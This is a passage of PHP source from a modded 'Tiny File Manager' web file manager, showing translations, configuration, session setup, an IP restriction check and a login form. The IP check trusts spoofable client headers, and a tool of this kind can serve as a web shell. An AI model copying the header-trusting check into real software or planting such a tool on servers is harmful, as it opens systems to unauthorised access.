mh+CmquCmvyDgprjgp4Dgpq7gpr7gpqzgpqbgp43gpqfgpqTgpr4g4Kaq4KeN4Kaw4Kav4KeL4Kac4KeN4KavIiwiQWN0aW9ucyI6IuCmj+CmleCmtuCmqOCnjeCmuCIsIkFkdmFuY2VkIFNlYXJjaCI6IuCmieCmqOCnjeCmqOCmpCDgpoXgpqjgp4Hgprjgpqjgp43gpqfgpr7gpqgiLCJBZHZhbmNlZEVkaXRvciI6IuCmieCmqOCnjeCmqOCmpCDgpo/gpqHgpr/gpp/gprAiLCJBcHBUaXRsZSI6IuCmq+CmvuCmh+CmsiDgpq7gp43gpq/gpr7gpqjgp4fgppzgpr7gprAiLCJBcmNoaXZlIG5vdCBjcmVhdGVkIjoi4KaG4Kaw4KeN4KaV4Ka+4KaH4KatIOCmpOCniOCmsOCmvyDgppXgprDgpr4g4Ka54Kav4Ka84Kao4Ka/IiwiQXJjaGl2ZSBub3QgdW5wYWNrZWQiOiLgpobgprDgp43gppXgpr7gpofgpq0g4Kaq4KeN4Kav4Ka+4KaVIOCmleCmsOCmviDgprngpq/gprzgpqjgpr8iLCJBcmNoaXZlIHVucGFja2VkIjoi4KaG4Kaw4KeN4KaV4Ka+4KaH4KatIOCmhuCmqOCmquCnjeCmr+CmvuCmlSIsIkFyY2hpdmUiOiLgpobgprDgp43gppXgpr7gpofgpq0iLCJCYWNrIjoi4Kaq4KeH4Kab4Kao4KeHIiwiQmFja1VwIjoi4Kas4KeN4Kav4Ka+4KaV4KaG4KaqIiwiQ2FsY3VsYXRlRm9sZGVyU2l6ZSI6IuCmq+Cni+CmsuCnjeCmoeCmvuCmsCDgprjgpr7gpofgppwg4KaX4Kaj4Kao4Ka+IOCmleCmsOCngeCmqCIsIkNhbmNlbCI6IuCmrOCmvuCmpOCmv+CmsiDgppXgprDgp4HgpqgiLCJDaGFuZ2UiOiLgpqrgprDgpr/gpqzgprDgp43gpqTgpqgiLCJDaGFuZ2VQZXJtaXNzaW9ucyI6IuCmheCmqOCngeCmruCmpOCmvyDgpqrgprDgpr/gpqzgprDgp43gpqTgpqgg4KaV4Kaw4KeB4KaoIiwiQ2hlY2sgTGF0ZXN0IFZlcnNpb24iOiLgprjgprDgp43gpqzgprbgp4fgprcg4Ka44KaC4Ka44KeN4KaV4Kaw4KajIOCmquCmsOCngOCmleCnjeCmt+CmviDgppXgprDgp4HgpqgiLCJDb3BpZWQgZnJvbSI6IuCmpeCnh+CmleCnhyDgppXgpqrgpr8g4KaV4Kaw4Ka+IOCmueCmr+CmvOCnh+Cmm+CnhyIsIkNvcHkiOiLgppXgpqrgpr8iLCJDb3B5VG8iOiLgppXgpqrgpr8g4KaV4Kaw4KeB4KaoIiwiQ29weWluZyI6IuCmleCmquCmvyDgppXgprDgpr4g4Ka54Kaa4KeN4Kab4KeHIiwiQ3JlYXRlIGFyY2hpdmU/Ijoi4Kao4Kak4KeB4KaoIOCmhuCmsOCnjeCmleCmvuCmh+CmrSDgpqTgp4jgprDgpr8g4KaV4Kaw4KeB4KaoIiwiQ3JlYXRlTmV3SXRlbSI6IuCmqOCmpOCngeCmqCDgpobgpofgpp/gp4fgpq4g4Kak4KeI4Kaw4Ka/IOCmleCmsOCngeCmqCIsIkNyZWF0ZU5vdyI6IuCmj+CmluCmqCDgpqTgp4jgprDgpr8g4KaV4Kaw4KeB4KaoIiwiQ3JlYXRlZCI6IuCmpOCniOCmsOCmvyDgppXgprDgpr4g4Ka54Kav4Ka84KeH4Kab4KeHIiwiRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyI6IuCmqOCmv+CmsOCnjeCmrOCmvuCmmuCmv+CmpCDgpqvgpr7gpofgprIg4KaP4Kas4KaCIOCmq+Cni+CmsuCnjeCmoeCmvuCmsCDgpq7gp4Hgppvgpqzgp4fgpqg/IiwiRGVsZXRlIjoi4Kau4KeB4Kab4KeHIOCmq+Cnh+CmsuCmviIsIkRlbGV0ZWQiOiLgpq7gp4Hgppvgp4cg4Kar4KeH4Kay4Ka+IOCmueCmr+CmvOCnh+Cmm+CnhyIsIkRlc3RpbmF0aW9uRm9sZGVyIjoi4KaX4Kao4KeN4Kak4Kas4KeN4KavIOCmq+Cni+CmsuCnjeCmoeCmvuCmsCIsIkRpcmVjdExpbmsiOiLgprjgprDgpr7gprjgprDgpr8g4Kay4Ka/4KaZ4KeN4KaVIiwiRG93bmxvYWQiOiLgpqHgpr7gpongpqjgprLgp4vgpqEiLCJFZGl0Ijoi4KaP4Kah4Ka/4KafIiwiRXJyb3Igd2hpbGUgY29weWluZyBmcm9tIjoi4Kal4KeH4KaV4KeHIOCmleCmquCmvyDgppXgprDgpr7gprAg4Ka44Kau4Kav4Ka8IOCmpOCnjeCmsOCngeCmn+CmvyIsIkVycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zIjoi4Kal4KeH4KaV4KeHIOCmruCngeCmm+CnhyDgpqvgp4fgprLgpr7gprAg4Ka44Kau4Kav4Ka8IOCmpOCnjeCmsOCngeCmn+CmvyIsIkVycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyI6IuCmhuCmsOCnjeCmleCmvuCmh+CmrSDgpqTgpqXgp43gpq8g4KaG4Kao4Ka+4KawIOCmuOCmruCmr+CmvCDgpqTgp43gprDgp4Hgpp/gpr8iLCJFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSI6IuCmpeCnh+CmleCnhyDgprjgprDgpr7gpqjgp4vgprAg4Ka44Kau4Kav4Ka8IOCmpOCnjeCmsOCngeCmn+CmvyIsIkVycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20iOiLgpqXgp4fgppXgp4cg4Kao4Ka+4KauIOCmquCmsOCmv+CmrOCmsOCnjeCmpOCmqCDgppXgprDgpr7gprAg4Ka44Kau4Kav4Ka8IOCmpOCnjeCmsOCngeCmn+CmvyIsIkVycm9yUmVwb3J0aW5nIjoi4KaP4Kaw4KawIOCmsOCmv+CmquCni+CmsOCnjeCmn+Cmv+CmgiIsIkV4ZWN1dGUiOiLgpo/gppXgp43gprjgpr/gppXgpr/gpongpp8iLCJGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCI6IuCmq+CmvuCmh+CmsiDgpo/gppXgp43gprjgpp/gp4fgpqjgprbgpqgg4Ka44Kau4Kaw4KeN4Kal4Ka/4KakIOCmqOCmr+CmvCIsIkZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5Ijoi4Kar4Ka+4KaH4KayIOCmuOCmq+CmsuCmreCmvuCmrOCnhyDgprjgpoLgprDgppXgp43gprfgpr/gpqQg4Ka54Kav4Ka84KeH4Kab4KeH4Ke3IiwiRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQiOiLgpqvgpr7gpofgprIg4KaP4KaV4KeN4Ka44Kaf4KeH4Kao4Ka24KaoIOCmheCmqOCngeCmruCni+CmpuCmv+CmpCDgpqjgpq/gprwiLCJGaWxlIG5vdCBmb3VuZCI6IuCmq+CmvuCmh+CmsiDgpqrgpr7gppPgpq/gprzgpr4g4Kav4Ka+4Kav4Ka84Kao4Ka/IiwiRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMiOiLgpo/gpocg4Kaq4KalIOCmuOCmuSDgpqvgpr7gpofgprIg4Kas4Ka+IOCmq+Cni+CmsuCnjeCmoeCmvuCmsCDgpofgpqTgpr/gpq7gpqfgp43gpq/gp4fgpocg4Kas4Ka/4Kam4KeN4Kav4Kau4Ka+4KaoIiwiRmlsZSI6IuCmq+CmvuCmh+CmsiIsIkZpbGVzIjoi4Kar4Ka+4KaH4Kay4Ka4IiwiRm9sZGVyIGlzIGVtcHR5Ijoi4Kar4KeL4Kay4KeN4Kah4Ka+4KawIOCmluCmvuCmsuCmvyIsIkZvbGRlciI6IuCmq+Cni+CmsuCnjeCmoeCmvuCmsCIsIkZyZWVPZiI6IuCmruCngeCmleCnjeCmpCIsIkZ1bGxTaXplIjoi4Kar4KeB4KayIOCmuOCmvuCmh+CmnCIsIkdlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoIjoi4Kao4Kak4KeB4KaoIOCmquCmvuCmuOCmk+Cmr+CmvOCmvuCmsOCnjeCmoSDgprngp43gpq/gpr7gprYg4Kak4KeI4Kaw4Ka/IOCmleCmsOCngeCmqCIsIkdlbmVyYXRlIjoi4KaJ4KeO4Kaq4Kao4KeN4KaoIiwiR3JvdXAiOiLgppfgp43gprDgp4HgpqoiLCJIZWxwIERvY3VtZW50cyI6IuCmueCnh+CmsuCnjeCmqiDgpqHgppXgp4Hgpq7gp4fgpqjgp43gpp/gprgiLCJIZWxwIjoi4Ka44Ka+4Ka54Ka+4Kav4KeN4KavIiwiSGlkZUNvbHVtbnMiOiLgppXgprLgpr7gpq4g4Kay4KeB4KaV4Ka+4KaoIiwiSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSI6IuCmq+CmvuCmh+CmsuCnh+CmsCDgpqjgpr7gpq7gp4cg4KaF4Kas4KeI4KanIOCmheCmleCnjeCmt+CmsCIsIkludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lIjoi4Kar4Ka+4KaH4KayIOCmrOCmviDgpqvgp4vgprLgp43gpqHgpr7gprAg4Kao4Ka+4Kau4KeH4KawIOCmheCmrOCniOCmpyDgpoXgppXgp43gprfgprAiLCJJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUiOiLgpoXgpqzgp4jgpqcg4Kar4Ka+4KaH4KayIOCmrOCmviDgpqvgp4vgprLgp43gpqHgpr7gprDgp4fgprAg4Kao4Ka+4KauIiwiSW52ZXJ0U2VsZWN0aW9uIjoi4KaJ4Kay4KeN4Kaf4KeHIOCmqOCmv+CmsOCnjeCmrOCmvuCmmuCmqCDgppXgprDgp4HgpqgiLCJJdGVtTmFtZSI6IuCmhuCmh+Cmn+Cnh+CmriDgpqjgpr7gpq4iLCJJdGVtVHlwZSI6IuCmhuCmh+Cmn+Cnh+CmriDgpqfgprDgpqgiLCJMYW5ndWFnZSI6IuCmreCmvuCmt+CmviIsIkxvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCI6IuCmsuCml+Cmh+CmqCDgpqzgp43gpq/gprDgp43gpqUuIOCmheCmrOCniOCmpyDgpqzgp43gpq/gpqzgprngpr7gprDgppXgpr7gprDgp4DgprAg4Kao4Ka+4KauIOCmrOCmviDgpqrgpr7gprjgppPgpq/gprzgpr7gprDgp43gpqEiLCJMb2dpbiI6IuCmsuCml+Cmh+CmqCIsIkxvZ291dCI6IuCmsuCml+CmhuCmieCmnyIsIk1vZGlmaWVkIjoi4Kaq4Kaw4Ka/4Kas4Kaw4KeN4Kak4Ka/4KakIiwiTW92ZSI6IuCmuOCmsOCmvuCmqCIsIk1vdmVkIGZyb20iOiLgpqXgp4fgppXgp4cg4Ka44Kaw4Ka+4Kao4KeLIiwiTmFtZSI6IuCmqOCmvuCmriIsIk5ld0l0ZW0iOiLgpqjgpqTgp4Hgpqgg4KaG4KaH4Kaf4KeH4KauIiwiTm9ybWFsRWRpdG9yIjoi4Ka44Ka+4Kan4Ka+4Kaw4KajIOCmj+CmoeCmv+Cmn+CmsCIsIk5vdGhpbmcgc2VsZWN0ZWQiOiLgppXgpr/gppvgp4Hgpocg4Kao4Ka/4Kaw4KeN4Kas4Ka+4Kaa4Ka/4KakIOCmqOCmr+CmvCIsIk9wZW4iOiLgppbgp4vgprLgpr4iLCJPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUiOiLgpobgprDgp43gppXgpr7gpofgpq0g4Ka44Ka5IOCmheCmquCmvuCmsOCnh+CmtuCmqCDgpqrgpr7gppPgpq/gprzgpr4g4Kav4Ka+4Kav4Ka84Kao4Ka/IiwiT3RoZXIiOiLgpoXgpqjgp43gpq/gpr7gpqjgp43gpq8iLCJPd25lciI6IuCmruCmvuCmsuCmv+CmlSIsIlBhcnRpdGlvblNpemUiOiLgpqrgpr7gprDgp43gpp/gpr/gprbgpqjgp4fgprAg4Kau4Ka+4KaqIiwiUGFzc3dvcmQiOiLgpqrgpr7gprjgppPgpq/gprzgpr7gprDgp43gpqEiLCJQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCI6IuCmquCmpSDgprjgpq7gpr7gpqgg4Ka54Kak4KeHIOCmueCmrOCnhyDgpqjgpr4iLCJQZXJtaXNzaW9ucyBjaGFuZ2VkIjoi4KaF4Kao4KeB4Kau4Kak4Ka/IOCmquCmsOCmv+CmrOCmsOCnjeCmpOCmqCIsIlBlcm1pc3Npb25zIG5vdCBjaGFuZ2VkIjoi4KaF4Kao4KeB4Kau4Kak4Ka/IOCmquCmsOCmv+CmrOCmsOCnjeCmpOCmqCDgppXgprDgpr4g4Ka54Kav4Ka84Kao4Ka/IiwiUGVybXMiOiLgpqrgpr7gprDgpq7gprgiLCJQcmV2aWV3Ijoi4Kaq4KeC4Kaw4KeN4Kas4Kaw4KeC4KaqIiwiUmVhZCI6IuCmquCmoeCmvOCngeCmqCIsIlJlbmFtZSI6IuCmqOCmvuCmriDgpqrgprDgpr/gpqzgprDgp43gpqTgpqgg4KaV4Kaw4Ka+IOCmueCmr+CmvOCnh+Cmm+CnhyIsIlJlbmFtZWQgZnJvbSI6IuCmpeCnh+CmleCnhyDgpqjgpr7gpq4g4Kaq4Kaw4Ka/4Kas4Kaw4KeN4Kak4KaoIOCmleCmsOCmviDgprngpq/gprzgp4fgppvgp4ciLCJSZXBvcnQgSXNzdWUiOiLgpofgprjgp43gpq/gp4Hgprgg4Kaw4Ka/4Kaq4KeL4Kaw4KeN4KafIOCmleCmsOCngeCmqCIsIlJvb3QgcGF0aCI6IuCmsOCngeCmnyDgpqrgpqUiLCJTYXZlIjoi4Ka44KaC4Kaw4KaV4KeN4Ka34KajIiwiU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uIjoi4Kar4KeL4Kay4KeN4Kah4Ka+4KawIOCmj+CmrOCmgiDgprjgpr7gpqzgpqvgp4vgprLgp43gpqHgpr7gprDgp4cg4Kar4Ka+4KaH4KayIOCmheCmqOCngeCmuOCmqOCnjeCmp+CmvuCmqCDgppXgprDgp4HgpqguLi4iLCJTZWFyY2giOiLgpoXgpqjgp4Hgprjgpqjgp43gpqfgpr7gpqgg4KaV4Kaw4KeB4KaoIiwiU2VsZWN0IGZvbGRlciI6IuCmq+Cni+CmsuCnjeCmoeCmvuCmsCDgpqjgpr/gprDgp43gpqzgpr7gpprgpqgg4KaV4Kaw4KeB4KaoIiwiU2VsZWN0QWxsIjoi4Ka44KasIOCmqOCmv+CmsOCnjeCmrOCmvuCmmuCmqCDgppXgprDgp4HgpqgiLCJTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQiOiLgpqjgpr/gprDgp43gpqzgpr7gpprgpr/gpqQg4Kar4Ka+4KaH4KayIOCmj+CmrOCmgiDgpqvgp4vgprLgp43gpqHgpr7gprAg4Kau4KeB4Kab4KeHIOCmq+Cnh+CmsuCmviDgprngpq/gprzgp4fgppvgp4ciLCJTZXR0aW5ncyI6IuCmuOCnh+Cmn+Cmv+CmguCmuCIsIlNob3dIaWRkZW5GaWxlcyI6IuCml+Cni+CmquCmqCDgpqvgpr7gpofgprLgppfgp4HgprLgp4sg4Kam4KeH4KaW4KeB4KaoIiwiU2l6ZSI6IuCmuOCmvuCmh+CmnCIsIlNvdXJjZSBwYXRoIG5vdCBkZWZpbmVkIjoi4Ka44KeL4Kaw4KeN4Ka4IOCmquCmpSDgprjgpoLgppzgp43gpp7gpr7gpq/gprzgpr/gpqQg4KaV4Kaw4Ka+IOCmueCmr+CmvOCmqOCmvyIsIlNvdXJjZUZvbGRlciI6IuCmuOCni+CmsOCnjeCmuCDgpqvgp4vgprLgp43gpqHgpr7gprAiLCJUYXIiOiLgpp/gpr7gprAiLCJUaGVtZSI6IuCmpeCmv+CmriIsIlVuU2VsZWN0QWxsIjoi4Ka44Kaw4Ka/4Kav4Ka84KeHIOCmq+Cnh+CmsuCngeCmqCDgprjgpqwiLCJVblppcCI6IuCmhuCmqOCmnOCmv+CmqiDgppXgprDgp4HgpqgiLCJVblppcFRvRm9sZGVyIjoi4Kar4KeL4Kay4KeN4Kah4Ka+4Kaw4KeHIOCmhuCmqOCmnOCmv+CmqiIsIlVwbG9hZCI6IuCmhuCmquCmsuCni+CmoSIsIlVwbG9hZGluZ0ZpbGVzIjoi4Kar4Ka+4KaH4KayIOCmhuCmquCmsuCni+CmoSDgppXgprDgpr4g4Ka54Kaa4KeN4Kab4KeHIiwiVXNlcm5hbWUiOiLgpqzgp43gpq/gpqzgprngpr7gprDgppXgpr7gprDgp4DgprAg4Kao4Ka+4KauIiwiV3JpdGUiOiLgprLgpr/gppbgp4HgpqgiLCJZb3UgYXJlIGxvZ2dlZCBpbiI6IuCmhuCmquCmqOCmvyDgprLgppcg4KaH4KaoIOCmleCmsOCmm+Cnh+CmqCIsIlppcCI6IuCmnOCmv+CmqiIsImFscmVhZHkgZXhpc3RzIjoi4KaG4KaX4KeHIOCmpeCnh+CmleCnh+CmhyDgpobgppvgp4ciLCJkYXJrIjoi4Kah4Ka+4Kaw4KeN4KaVIiwibGlnaHQiOiLgprLgpr7gpofgpp8iLCJub3QgY3JlYXRlZCI6IuCmpOCniOCmsOCmvyDgppXgprDgpr4g4Ka54Kav4Ka84Kao4Ka/Iiwibm90IGRlbGV0ZWQiOiLgpq7gp4Hgppvgp4cg4Kar4KeH4Kay4Ka+IOCmueCmr+CmvOCmqOCmvyIsIm5vdCBmb3VuZCEiOiLgpqrgpr7gppPgpq/gprzgpr4g4Kav4Ka+4Kav4Ka8IOCmqOCmvyEiLCJwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24iOiLgpqrgpr7gprjgppPgpq/gprzgpr7gprDgp43gpqFf4Ka54KeN4Kav4Ka+4Ka2IOCmuOCmruCmsOCnjeCmpeCmv+CmpCDgpqjgpq/gprwsIOCmquCmv+Cmj+Cmh+CmmuCmquCmvyDgpq3gpr7gprDgp43gprjgpqgg4KaG4Kaq4KaX4KeN4Kaw4KeH4KahIOCmleCmsOCngeCmqCIsInRvIjoidG8ifX1dfQ==', 'favicon' => 'iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAOdQTFRFAAAA5eXl5uXl5OTljbbkWpvkXJzkXp3kYJ7k5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5+bl6Obl6Obl5+bl5uXl2d/l5OXldankjbbkW5vkWpvkXJzkXJzk3+LlgrDkWpvkXJzkXJzkXZzkXZzkXZzkXZzkX53kX57kY6DkZaHkZaHkYZ/kXZ3k5eXl4+Tl193l1dzl5+blu8/lcKbkbKXkbKTk5uXl2+Dlfq7kWZvkW5vk5ublp8TlXZzkXJzk1t3lxNTlb6bkbaXkZ6LkW5zk////vep04wAAADR0Uk5TAAAAAAAAAAAACCElHwRb4OXm3El3yqhnaWpRBt0c4R7hHuEed3d3d273+fvWGxdESkk2BHZand0AAAABYktHREz3bxDzAAAACXBIWXMAAJ17AACdewE8n3fEAAAAm0lEQVQ4y2NgoD3g5OKGAh5eRmwK+PgFIEBQSJgRmwoREzgQ5SGgwERMXAIFSEpJM6EoMDUzRwUysszICiwsraxRgI2cPAuSAls7ewdHVKCgyMog4gQDFs4urmhASZmNQcUNap+bu4cjNgWqHlALPb1cXbEpUINb6I1dgborHjCqYIgp0NDUwgm0dXTZGfT0DQxxAQMjYw7K8y4AouK1P6Avc10AAAAldEVYdGRhdGU6Y3JlYXRlADIwMTgtMDUtMzFUMTM6MTU6NTIrMDI6MDByVnCaAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE4LTA1LTMxVDEzOjE1OjUyKzAyOjAwAwvIJgAAAEZ0RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi43LjgtOSAyMDE2LTA2LTE2IFExNiBodHRwOi8vd3d3LmltYWdlbWFnaWNrLm9yZ+a/NLYAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6aGVpZ2h0ADUxMsDQUFEAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANTEyHHwD3AAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxNTI3NzY1MzUyiKRkTwAAABN0RVh0VGh1bWI6OlNpemUANC4wN0tCQruOl68AAABIdEVYdFRodW1iOjpVUkkAZmlsZTovLy4vdXBsb2Fkcy81Ni9aSXgyN1pkLzE0OTUvc3lzdGVtZmlsZW1hbmFnZXJfMTAzMjQ4LnBuZ64u97UAAAAASUVORK5CYII=' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?> <section class="h-100"> <div class="container h-100"> <div class="row justify-content-md-center h-100"> <div class="card-wrapper"> <div class="card fat <?php echo fm_get_theme(); ?>"> <div class="card-body"> <form class="form-signin" action="" method="post" autocomplete="off"> <div class="mb-3"> <div class="brand"> <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager [WH1Z-Edition]"> <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none"> <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/> <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/> <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g> </svg> </div> <div class="text-center"> <h1 class="card-title"><?php echo APP_TITLE_LOGIN; ?></h1> </div> </div> <hr /> <div class="mb-3"> <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label> <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus> </div> <div class="mb-3"> <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label> <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required> </div> <div class="mb-3"> <?php fm_show_message(); ?> </div> <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" /> <div class="mb-3"> <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button"> <?php echo lng('Login'); ?> </button> </div> </form> </div> </div> <div class="footer text-center"> —— © <a href="https://github.com/PinoyWH1Z/tinyfilemanager-wh1z-edition" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers [Mod by: PinoyWH1Z]</a> —— </div> </div> </div> </div> </section> <?php fm_show_footer_login(); exit; } } // update root path if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) { $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path; } // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>"; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || 